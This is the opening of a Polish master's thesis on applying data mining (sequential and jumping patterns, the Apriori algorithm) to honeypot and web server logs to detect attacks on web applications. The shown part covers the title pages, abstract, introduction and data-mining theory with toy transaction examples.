79
Politechnika Warszawska Wydzial Elektroniki i Technik Informacyjnych Instytut Informatyki Rok akademicki 2011/2012 Praca dyplomowa magisterska Lukasz Bednaszy ´ nski Zastosowanie metod eksploracji danych do analizy logów bezpiecze ´ nstwa systemów komputerowych. Promotor: dr Krzysztof Cabaj Ocena ................................. ......................................... Podpis Przewodnicz ˛ acego Komisji Egzaminu Dyplomowego

Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

  • Upload
    others

  • View
    3

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

Politechnika WarszawskaWydział Elektroniki i Technik Informacyjnych

Instytut Informatyki

Rok akademicki 2011/2012

Praca dyplomowa magisterska

Łukasz Bednaszynski

Zastosowanie metod eksploracji danychdo analizy logów bezpieczenstwa

systemów komputerowych.

Promotor:

dr Krzysztof Cabaj

Ocena . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .Podpis Przewodniczacego

Komisji Egzaminu Dyplomowego

Page 2: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

Specjalnosc: Informatyka –Inzynieria oprogramowaniai systemy informacyjne

Data urodzenia: 20 czerwca 1987 r.

Data rozpoczecia studiów: 1 pazdziernika 2006 r.

Zyciorys

Urodziłem sie 20 czerwca 1987 roku w Opolu. Tam tez w 2006 roku ukonczyłemII Liceum Ogólnokształcace im. Marii Konopnickiej. Uczeszczałem tam do klasyo profilu matematyczno-fizycznym. Ze wzgledu na zainteresowania informatyczne,po uzyskaniu swiadectwa dojrzałosci rozpoczałem studia na Wydziale Elektronikii Technik Informacyjnych Politechniki Warszawskiej na kierunku Informatyka.

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .podpis studenta

Egzamin dyplomowy

Złozył egzamin dyplomowy w dn. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Z wynikiem .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Ogólny wynik studiów .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Dodatkowe wnioski i uwagi Komisji . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Page 3: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

Streszczenie

W ramach niniejszej pracy zbadana została mozliwosc wykorzystania technikeksploracji danych do wykrywania nieznanych dotad podatnosci aplikacji WWWz wykorzystaniem algorytmów wykrywania wzorców sekwencyjnych oraz wzorcówwyskakujacych. Badania zostały wykonane na podstawie danych z logów pocho-dzacych z serwerów WWW oraz zapisu ruchu sieciowego serwera honeypot.

W pracy przedstawiony został proces odkrywania wiedzy oraz opis podstawo-wych pojec z zakresu eksploracji danych. Zawarto w niej tez opis przeprowadzo-nych eksperymentów oraz opracowanej metodyki badan. Szczegółowo scharaktery-zowano równiez zidentyfikowane ataki na aplikacje wykorzystujace protokół HTTP.

Dodatkowo w pracy umieszczony został projekt oraz opis implementacji systemu,który był uzywany do przeprowadzenia eksperymentów z wykorzystaniem algo-rytmu wzorców wyskakujacych. Na koncu pracy przedstawione zostały wyciagnietewnioski na podstawie wykonanych eksperymentów oraz wskazane zostały mozliwekierunki dalszych badan.

Słowa kluczowe: data mining, wzorce wyskakujace, wzorce sekwencyjne, bezpie-czenstwo systemów komputerowych, analiza logów, podatnosci aplikacji WWW

Abstract

Title: Using of data mining methods for analyzing application security logs

This thesis explores the possibility of using data mining techniques to detectpreviously unknown vulnerabilities in web applications using sequential patternsand jumping patterns algorithms. Studies have been done on the basis of data fromweb server logs and network traffic that has been captured by honeypot server.

Paper presents the process of knowledge discovery and basic concept of datamining. Moreover it includes a description of the experiments and developed researchmethodology. There is also detailed description of discovered attacks which weretargeted to applications using the HTTP protocol.

In addition, this thesis contains project and the implementation description of thesystem, which was used to carry out experiments using an algorithm of jumpingpatterns. At the end of the paper there are given possible directions for furtherresearch based on performed experiments.

Keywords: data mining, jumping patterns, sequential patterns, computer systemsecurity, system log analysis, web application vulnerabilities

Page 4: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

Spis tresci

1. Wstep . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

2. Eksploracja danych . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32.1. Proces odkrywania wiedzy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32.2. Zbiory czeste . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42.3. Wzorce sekwencyjne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52.4. Wzorce wyskakujace i wyłaniajace sie . . . . . . . . . . . . . . . . . . . . . . . 62.5. Algorytmy wykrywania zbiorów czestych . . . . . . . . . . . . . . . . . . . . . . 7

2.5.1. Algorytm apriori . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72.5.2. MAFIA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

3. Bezpieczenstwo aplikacji WWW . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113.1. Nieautoryzowany dostep do plików systemowych . . . . . . . . . . . . . . . . . 113.2. Wykonanie zdalnego kodu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123.3. Ujawnienie sciezki dostepu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123.4. Cross-site scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133.5. Wstrzykniecie kodu SQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133.6. Skanowania w poszukiwaniu konkretnych aplikacji . . . . . . . . . . . . . . . 143.7. Skanowania w poszukiwaniu niezabezpieczonego serwera posredniczacego . 14

4. Wykorzystywane zbiory danych . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154.1. Logi systemu honeypot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154.2. Logi serwera HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

4.2.1. Logi dostepu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164.2.2. Logi błedów . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

4.3. Reprezentacja danych na potrzeby eksperymentów . . . . . . . . . . . . . . . 164.3.1. Model danych . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164.3.2. Czyszczenie danych . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

5. Projekt i implementacja systemu . . . . . . . . . . . . . . . . . . . . . . . . . . . . 205.1. Wymagania funkcjonalne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 205.2. Wymagania niefunkcjonalne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265.3. Model aktorów . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265.4. Przypadki uzycia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275.5. Architektura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

5.5.1. Moduł wczytywania danych z plików logów . . . . . . . . . . . . . . . . 305.5.2. Moduł wykonywania analiz . . . . . . . . . . . . . . . . . . . . . . . . . 315.5.3. Moduł interfejsu uzytkownika . . . . . . . . . . . . . . . . . . . . . . . . 32

5.6. Implementacja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325.6.1. Technologia wykonania . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325.6.2. Model danych . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325.6.3. Budowa systemu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

6. Eksperymenty . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 386.1. Analiza wzorców przy pomocy programu Statistica . . . . . . . . . . . . . . . 38

6.1.1. Zbiór zadan z logów systemu honeypot . . . . . . . . . . . . . . . . . . 406.1.2. Zbiór zadan z logów serwera HTTP . . . . . . . . . . . . . . . . . . . . . 45

Page 5: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

Spis tresci ii

6.2. Wzorce wyskakujace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 466.2.1. Zbiór zadan z logów systemu honeypot . . . . . . . . . . . . . . . . . . 476.2.2. Zbiór zadan z logów serwera HTTP . . . . . . . . . . . . . . . . . . . . . 48

6.3. Wnioski . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516.3.1. Porównanie zastosowanych metod . . . . . . . . . . . . . . . . . . . . . 516.3.2. Ograniczenia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 526.3.3. Metodyka badan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 556.3.4. Dobór parametrów sterujacych algorytmu wzorców wyskakujacych . . 56

7. Podsumowanie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57

Spis literatury . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

ZałacznikiA. Dodatek A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63

Page 6: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

1. Wstep

Ciagła popularyzacja Internetu oraz tendencja do podłaczania do niego kolej-nych urzadzen powoduje wzrost liczby róznych aplikacji oraz dostepnych usługinternetowych. Naturalnym nastepstwem jest wzrost liczby niebezpieczenstw, naktóre narazeni sa jego uzytkownicy. Kazda aplikacja moze zawierac błedy, którepotencjalnie umozliwiaja atakujacemu przeprowadzenie pomyslnego ataku, przy-kładowo nieautoryzowanego dostepu do bazy danych a w konsekwencji przejeciaprzez atakujacego poufnych danych.

Bardzo czesto nowe serwisy internetowe powstaja na bazie istniejacych kom-ponentów. Zachowanie wysokiego poziomu bezpieczenstwa w takim przypadku,w głównej mierze polega na instalowaniu aktualizacji bezpieczenstwa, które usu-waja wykryte podatnosci. Najtrudniejszym zadaniem jest jednak ich wykrywanie.Poddanie aplikacji testom bezpieczenstwa nie gwarantuje, ze wszystkie jej podat-nosci zostana wykryte. Bardzo czesto zdarza sie, ze aplikacje w ogóle nie sa takimtestom poddawane.

W swojej pracy inzynierskiej [4] zaprezentowałem technologie systemów honey-pot. Słuza one do zbierania danych dotyczacych potencjalnych ataków na serweryWWW. W ramach pracy przedstawiłem przykład takiego systemu. Wykorzystywa-łem go do gromadzenia danych dotyczacych zadan HTTP wysyłanych przez robotyinternetowe. Dzieki takiemu rozwiazaniu mozliwe było rejestrowanie zadan, któremogły zawierac ataki publicznie jeszcze nieznane.

Dodatkowo w pracy inzynierskiej poruszyłem temat sieci systemów honeypot,jako sposobu na zwielokrotnienie liczby sensorów, w celu zwiekszenia ilosci reje-strowanych danych. Niestety, tworzenie złozonych sieci skutkuje tym, ze manualneanalizowanie przez eksperta zgromadzonych danych, bardzo szybko staje sie nie-mozliwe ze wzgledu na ich wolumen.

Głównym celem niniejszej pracy było zbadanie mozliwosci wykrywania atakówna nieznane dotad podatnosci aplikacji WWW z wykorzystaniem techniki eksplo-racji danych. Eksperymenty przeprowadziłem na róznych zbiorach danych — za-równo na tych pochodzacych z serwerów honeypot, czyli zawierajace jedynie po-dejrzane zadania HTTP, jak i ze zwykłych serwerów WWW. Te ostatnie zbiory byłyduzo obszerniejsze i zawierały zapis ruchu generowanego równiez przez zwykłychuzytkowników. W trakcie badan porównałem wyniki generowane przez dwa rodzajewzorców: wzorców sekwencyjnych oraz wzorców wyskakujacych.

Ze wzgledu na brak oprogramowania do analizy danych przy pomocy algorytmuwzorców wyskakujacych w ramach pracowni dyplomowej zaimplementowałem sys-tem wspomagajacy taka analize. Ze wzgledu na specyfike algorytmu, zaimplemen-towane oprogramowanie wprowadza dodatkowe stopnie automatyzacji, tj. cyklicznewczytywanie danych z logów oraz automatyczne wykonywanie analiz.

Układ niniejszej pracy przedstawia sie nastepujaco: nastepny rozdział pracyprzedstawia podstawowe pojecia z zakresu odkrywania wiedzy oraz eksploracji da-nych. Omówiłem w nim wykorzystywane przeze mnie w trakcie badan algorytmy

Page 7: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

1. Wstep 2

wykrywajace wzorce sekwencyjne oraz wyskakujace. Przedstawiłem równiez róznealgorytmy do generowania zbiorów czestych, które wykorzystywałem w trakcie ba-dan.

Rozdział trzeci zawiera opis wybranych podatnosci aplikacji WWW. Omówiłemw nim podatnosci, do których odwołałem sie w rozdziale opisujacym przeprowa-dzone przeze mnie eksperymenty.

Rozdział czwarty zawiera opis uzywanych zbiorów danych. W trakcie badanwykorzystywałem dane pochodzace z plików logów serwera Apache, a takze zrzutkomunikacji sieciowej w postaci plików pcap.

W rozdziale piaty szczegółowo przedstawiłem projekt oraz opis implementacjipowstałego w ramach pracowni dyplomowej systemu. Projekt systemu zawierazbiór wymagan stawianych systemowi, model przypadków uzycia oraz architek-ture systemu. Opis implementacji to niskopoziomowe szczegóły dotyczace budowyi technologii wykonania oraz sposobu działania wykonanego systemu.

Rozdział szósty poswieciłem na opis rezultatów wykonanych przeze mnie eks-perymentów. Przedstawiłem w nim wyniki uzyskane z wykorzystaniem algorytmuwykrywajacego wzorce sekwencyjne uzywajac oprogramowania Statistica oraz algo-rytmu wykrywajace wzorce wyskakujace korzystajac z zaimplementowanego przezemnie systemu. Badania dla kazdego z algorytmów przeprowadzone zostały oddziel-nie na obydwóch uzywanych zbiorach danych. Dodatkowo rozdział ten zawierapropozycje metodyki analizy danych, która sformułowałem na podstawie prowa-dzonych przeze mnie badan.

Na koncu pracy umiesciłem podsumowanie, które zawiera wnioski sformuło-wane na podstawie przeprowadzonych przeze mnie eksperymentów. Zdefiniowałemrówniez w nim mozliwe dalsze kierunki badan oraz rozwoju stworzonego w ramachpracy systemu.

Do pracy dołaczyłem bibliografie oraz załacznik, w którym wymieniłem listewszystkich zidentyfikowanych przeze mnie podatnosci wraz z adresem ze szcze-gółowym opisem kazdego z nich.

Page 8: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

2. Eksploracja danych

Celem pracy było zbadanie mozliwosci automatycznego wykrywania nowychataków skierowanych na systemy informatyczne. Aby go zrealizowac, do analizyczy próbka danych jest potencjalnym atakiem, uzyłem technik eksploracji danych.W tym rozdziale znajduje sie opis procesu odkrywania wiedzy oraz uzywanychprzeze mnie algorytmów analizy danych.

2.1. Proces odkrywania wiedzy

Eksploracja danych bardzo czesto błednie utozsamiana jest z całym procesemodkrywania wiedzy [7]. W rzeczywistosci jest to jeden z kroków tego procesu, naktóry składa sie kilka etapów. Kolejne kroki procesu przedstawiłem na rysunku2.1 oraz ponizej:

— poznanie dziedziny analizowanych danych i budowa modelu,— przygotowanie danych podlegajacych analizie,— eksploracja danych,— ocena wyników przez eksperta dziedziny,— wykorzystanie otrzymanych wyników.

Zadaniem eksploracji danych jest analizowanie danych w celu pozyskania za-wartej w nich nieznanej wiedzy. Jako ze na tym etapie generowane sa wyniki, jeston bardzo wazny w całym procesie. Nie nalezy jednak zapominac o pozostałychkrokach, które istotnie wpływaja na koncowy rezultat całego procesu.

Etap poznania dziedziny i przygotowania danych to nie tylko przekształceniedanych do formatu akceptowanego przez algorytmy eksploracyjne, ale tez zidentyfi-kowanie i usuniecie danych potencjalnie zakłócajacych ich działanie. W przypadkumojej pracy, w której analizowałem zadania HTTP, takimi danymi były zadaniawysyłane przez roboty znanych firm, takich jak Google czy Yahoo. Ze wzgledu

budowa modelu

przygotowanie danych

eksploracja danych

ocena wyników wykorzystanie

wyników

Rysunek 2.1: Etapy procesu odkrywania wiedzy

Page 9: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

2.2. Zbiory czeste 4

na bardzo duza czestosc ich wystepowania, stanowiły szum, który w niektórychprzypadkach znaczaco obnizał prawdopodobienstwo wykrycia zadan potencjalniepochodzacych ze zródeł, których działalnosc mozna zakwalifikowac jako niebez-pieczna.

Analogicznie kroki oceny wyników i ich wykorzystania sa równie istotne. Nalezymiec na uwadze, ze eksploracja danych jest jedynie narzedziem wspomagajacymczłowieka. Wiedza pozyskana na tym etapie musi byc nastepnie zweryfikowanaprzez eksperta. Oznacza to, ze obecnie nie jest mozliwe zbudowanie takiego sys-temu wykorzystujacego eksploracje danych, który działałby bez potrzeby kontrolo-wania wyników jego pracy przez ekspertów. Algorytmy eksploracyjne nalezy roz-patrywac jako wspomagajace prace ludzi, a nie ja zastepujace. W szczególnosciwyniki generowane przez algorytmy bezposrednio zaleza od zdefiniowanych para-metrów. Ich odpowiednie ustalenie wymaga kilkukrotnego powtórzenia ekspery-mentów z róznymi parametrami wejsciowymi oraz wiedzy eksperta, który potrafiocenic jakosc generowanych wyników.

Sama eksploracja danych moze byc wykorzystywana do wielu róznych zadan,jednak najczesciej posługuje sie nia do:

— klasyfikacji,— grupowania,— wykrywania wzorców.

Klasyfikacja jest procesem polegajacym na przypisaniu porcji danych do kon-kretnej, znanej klasy. Procesem zblizonym do klasyfikacji jest grupowanie. Polegaono na podzieleniu danych na zbiory (klasy) o podobnych cechach.

Celem wykrywania wzorców jest odkrycie zaleznosci pomiedzy danymi. W kon-tekscie wzorców czesto mówimy o analizie koszykowej, która słuzy do wykrywaniaw zestawie danych ukrytych zaleznosci w postaci reguł i wzorców. Pierwotnie ana-liza koszykowa była wykorzystywana do analizy transakcji sklepowych. W przy-padku zakupów problem mozna sprowadzic do wykrywania, które produkty spo-sród szerokiej ich gamy sa kupowane razem lub w jakiejs okreslonej sekwencjiprzez klientów sklepu.

W ramach pracy magisterskiej do wykrywania zaleznosci pomiedzy danymi wy-korzystywałem wzorce sekwencyjne oraz wzorce wyskakujace. W dalszej czescirozdziału omówiłem podstawowe pojecia z dziedziny eksploracji danych, przedsta-wiłem koncepcje techniki wykrywania wzorców oraz opisałem konkretne algorytmyuzywane w trakcie eksperymentów.

2.2. Zbiory czeste

W tabeli 2.1 znajduje sie przykładowy zestaw danych. Składa sie on z czte-rech zbiorów elementów, gdzie kazdy z nich został przedstawiony w osobnym wier-szu. W analogii do zakupów sklepowych pojedynczy zbiór elementów nazywamytransakcja. W przykładowym zbiorze danych w wierszach przedstawione sa kolejnetransakcje, natomiast w kolumnach odpowiednio zdefiniowane sa: identyfikatororaz elementy, które wchodza w jej skład.

Page 10: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

2.3. Wzorce sekwencyjne 5

Identyfikatortransakcji Zakupione produkty

1 A B D2 A C3 A E4 B D F

Tabela 2.1: Przykładowy zbiór danych

Wsparcie, oznaczane jako supp(), to odsetek transakcji zawierajacych dany ele-ment:

supp(X) =A

B

A — liczba transakcji gdzie wystepuje XB — liczba wszystkich transakcji

Przykładowo wsparcie elementu A jest równe 0,75, poniewaz A wystepuje w trzechtransakcjach (supp({A}) = 0,75). Wsparcie bardzo czesto jest równiez okreslane jakoliczba transakcji danego zbioru zawierajacych dany element. Dla tak zdefiniowa-nego pojecia, wsparcie elementu A jest równe 3.

Jesli zbiór ma wsparcie wieksze od zadanego progu minimalnego wsparcia,to wtedy mówimy o nim, ze jest zbiorem czestym. Dla minimalnego wsparciazdefiniowanego na poziomie 2 w przykładowym zestawie danych znajduja sie czteryzbiory czeste: {A}, {B}, {D}, {B, D}.

W celu zmniejszenia liczby zbiorów do przeanalizowania bardzo czesto korzy-sta sie z maksymalnych zbiorów czestych, czyli takich, które nie posiadaja cze-stego nadzbioru. W analizowanym przykładzie dla minimalnego wsparcia równego2 znajduja sie dwa maksymalne zbiory czeste: {A}, {B, D}.

2.3. Wzorce sekwencyjne

Wzorce sekwencyjne [2] opisuja pewne zdarzenia, które wystepuja w okreslo-nej kolejnosci. Bardzo czesto słuza one do badania zachowan klientów sklepów.Przykładem takiego wzorca moze byc zakup podstawki i klawiatury do laptopa.Zazwyczaj takie zdarzenie bedzie nastepowało po zakupie samego laptopa.

Aby analiza sekwencyjna była mozliwa, oprócz identyfikatora transakcji i listyelementów, w bazie danych musi byc przechowywany równiez identyfikator okre-slajacy kto dana transakcje zawarł, oraz opcjonalnie czas dokonania transakcji.Dla przykładowego zbioru danych przedstawionego w tabeli 2.2 i minimalnegowsparcia ustalonego na poziomie 0,2 mozemy wykryc wzorzec sekwencyjny w po-staci < {A}, {C, D} >. Taki wzorzec oznacza, ze wystapienie zbioru {C, D} czesto jestpoprzedzone wystapieniem zbioru {A}, a wiec wystapienie {A} pozytywnie wpływa nawystapienie {C, D}.

Podczas odkrywania wzorców sekwencyjnych, w zaleznosci od uzytego algo-rytmu, oprócz reguły wsparcia mamy równiez mozliwosc sterowania parametramiczasowymi. Podstawowym parametrem czasowym jest okno czasowe, które okreslajaka jest maksymalna róznica pomiedzy czasem dokonania ostatniej i pierwszejtransakcji, czyli dla sekwencji s =< s1...sn > i okna czasowego zachodzi zaleznosc:

czas_transakcji(sn)− czas_transakcji(s1) ≤ okno_czasowe.

Page 11: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

2.4. Wzorce wyskakujace i wyłaniajace sie 6

Identyfikatortransakcji Czas Identyfikator

klienta Zakupione produkty

1 1 1 A B2 2 2 A B3 2 3 A B4 4 3 C D5 6 5 A B6 7 5 E7 10 5 C D8 11 1 C D9 12 3 B10 15 4 B E

Tabela 2.2: Przykładowy zbiór danych zakupów klientów

Innymi uzywanymi parametrami czasowymi sa: minimalna luka (ang. minimalgap) oraz maksymalna luka (ang. maximal gap). Okreslaja one odpowiednio mi-nimalny i maksymalny okres czasu pomiedzy kolejnymi transakcjami zawartymiw sekwencji, czyli dla sekwencji s =< s1...sn > i parametrów czasowych minGaporaz maxGap zachodza zaleznosci

czas_transakcji(si)− czas_transakcji(si−1) > minGap, 2 ≤ i ≤ n

czas_transakcji(si)− czas_transakcji(si−1) < maxGap, 2 ≤ i ≤ n

2.4. Wzorce wyskakujace i wyłaniajace sie

Niech D1 i D2 oznaczaja rozłaczne zbiory tej samej bazy danych, gdzie D2 zawieratransakcje, które wystapiły pózniej niz transakcje ze zbioru D1. Niech supp1(X)i supp2(X) oznaczaja odpowiednio wsparcia elementu X w zbiorach danych. Współ-czynnik wzrostu GR (ang. growth rate) elementu X ze zbioru danych D1 do D2 zde-fiowany jest nastepujaco:

GRD1→D2(X) =

0, jesli supp1(X) = 0 i supp2(X) = 0∞, jesli supp1(X) = 0 i supp2(X) 6= 0supp2(X)supp1(X) , w p.p.

Wzorcem wyłaniajacym sie nazywamy taki zbiór, dla którego współczynnik GRjest wiekszy od zdefiniowanego progu. W szczególnym przypadku współczynnikwzrostu bedzie równy ∞. Oznacza to element zbioru, który pojawił sie w D2, a niewystepował w D1. Taki wzorzec nazywamy wyskakujacym [9].

Wzorce wyłaniajace słuza do odkrywania trendów i róznic w danych na prze-strzeni zdefiniowanego okresu czasu. Dla przykładu rozwazmy zbiór danych zdefi-niowany w tabeli 2.3. Zbiór ten został podzielony na dwa podzbiory na podstawieczasu dokonania transakcji — pierwszy z nich zawiera transakcje z marca, a drugiz kwietnia. Rozwazmy dwa zbiory czeste przy minimalnym wsparciu okreslonymna poziomie 2 i współczynniku GR równym 1: (B, D) oraz (B, D, F). Wsparcie pierw-szego zbioru z marca wynosi 2, natomiast z kwietnia 3. Zbiór (B, D) jest wiec wzor-cem wyłaniajacym sie ze zbioru marcowego do zbioru kwietniowego. Zbiór (B, D, F)jest czesty tylko w zestawie z kwietnia, dlatego jest on wzorcem wyskakujacymze zbioru z marca do zbioru z kwietnia.

Page 12: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

2.5. Algorytmy wykrywania zbiorów czestych 7

Identyfikatortransakcji

Datatransakcji Zakupione produkty

1 2011-03-04 A B C2 2011-03-07 B D3 2011-03-07 A C E4 2011-03-12 D E5 2011-03-15 A D E F6 2011-03-23 B C7 2011-03-26 B D E8 2011-03-29 E9 2011-03-30 A F10 2011-04-01 D F11 2011-04-15 B D F12 2011-04-21 B D F13 2011-04-24 A B14 2011-04-25 A D E F15 2011-04-29 A E16 2011-04-29 B D E

Tabela 2.3: Zbiór transakcji z uwzglednieniem podziału danych wzgledem miesiacapojawienia sie transakcji.

2.5. Algorytmy wykrywania zbiorów czestych

Ponizsza sekcja zawiera opis algorytmów generowania zbiorów czestych, którewykorzystałem wraz z algorytmem wzorców wyskakujacych do badan przeprowa-dzonych w ramach niniejszej pracy.

2.5.1. Algorytm apriori

Niech Lk oznacza zbiory czeste k-elementowe, natomiast Ck zbiory kandydujace(potencjalnie czeste) k-elementowe. Załózmy takze, ze wszystkie transakcje sawewnetrznie uporzadkowane (posortowane).

Algorytm Apriori [1] bazuje na nastepujacej własciwosci zbiorów czestych: cze-sty nadzbiór moze zostac wygenerowany tylko i wyłacznie z czestych podzbiorów.Dzieki niej mozliwe jest zakwalifikowanie danego nadzbioru jako nieczestego, jedy-nie na podstawie informacji, ze jeden z podzbiorów generujacych jest nieczesty, bezwyliczania wsparcia nadzbioru.

Apriori jest algorytmem iteracyjnym, w którym kazda kolejna iteracja znajdujezbiory czeste o długosci k, gdzie k jest numerem kolejnej iteracji poczawszy od 1.Kazda iteracja składa sie z dwóch faz:

— generowanie zbiorów kandydujacych (wynikiem jest kolekcja Ck),— odczyt bazy danych w celu wyliczenia wsparcia dla zbiorów kandydujacych

i usuniecie zbiorów niebedacych czestymi (wynikiem jest kolekcja Lk).

W pierwszej iteracji wyszukiwane sa wszystkie zbiory jednoelementowe, a na-stepnie usuwane sa te, których wsparcie jest mniejsze od zdefiniowanego parame-tru minimalnego wsparcia (minSupp). Kolejne kroki algorytmu bazuja na krokachpoprzednich tzn. w fazie pierwszej w kroku k generowane sa zbiory kandydujace

Page 13: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

2.5. Algorytmy wykrywania zbiorów czestych 8

na podstawie zbiorów bedacych wynikiem kroku k-1. Generacja zbiorów kandydu-jacych polega na wytworzeniu nadzbioru poprzez złaczenie dwóch zbiorów wedługnastepujacych reguł:

— złaczenie nastepuje pomiedzy zbiorami, które róznia sie na ostatniej pozycjitj. złaczone zostana zbiory {1,2,3} i {1,2,5} natomiast nie zostana złaczone zbiory{1,2,5} i {1,3,5},

— zbiór wczesniejszy (wg porzadku leksykograficznego) jest łaczony ze wszystkimizbiorami pózniejszymi według zasady, ze ostatni element zbioru pózniejszegojest dodawany na koniec zbioru wczesniejszego.

Po etapie złaczenia nastepuje etap czyszczenia (jest to nadal faza pierwsza),który polega na usunieciu tych wygenerowanych zbiorów, które zawieraja podzbiórniebedacy wynikiem poprzedniego kroku algorytmu (taki podzbiór nie jest zbioremczestym, a wiec nadzbiór tez nie jest zbiorem czestym).

{}

{1} {2} {3} {4} {5}

C1Zbiór Wsparcie

{1} 2{2} 3{3} 3{4} 1{5} 3

L1Zbiór Wsparcie

{1} 2{2} 3{3} 3{5} 3

(a) pierwsza iteracja

{}

{1}

{1,2}

{1,3}

{1,5}

{2}

{2,3}

{2,5}

{3}

{3,5}

{5}

C2Zbiór Wsparcie{1,2} 1{1,3} 2{1,5} 1{2,3} 2{2,5} 3{3,5} 2

L2Zbiór Wsparcie{1,3} 2{2,3} 2{2,5} 3{3,5} 2

(b) druga iteracja

{}

{1}

{1,3}

{2}

{2,3}

{2,3,5}

{2,5}

{3}

{3,5}

{5} C3Zbiór Wsparcie{2,3,5} 2

L3Zbiór Wsparcie{2,3,5} 2

(c) trzecia iteracja

Rysunek 2.2: Kolejne kroki algorytmu Apriori

Rysunek 2.2 ilustruje działanie algorytmu Apriori. Przedstawiono na nim trzykroki algorytmu, z uwzglednieniem zawartosci zbiorów Ck i Lk, a takze rysunek po-gladowy w postaci drzewa zbiorów. Wezły czarne definiuja zbiory czeste, natomiastszare pozostałe zbiory.

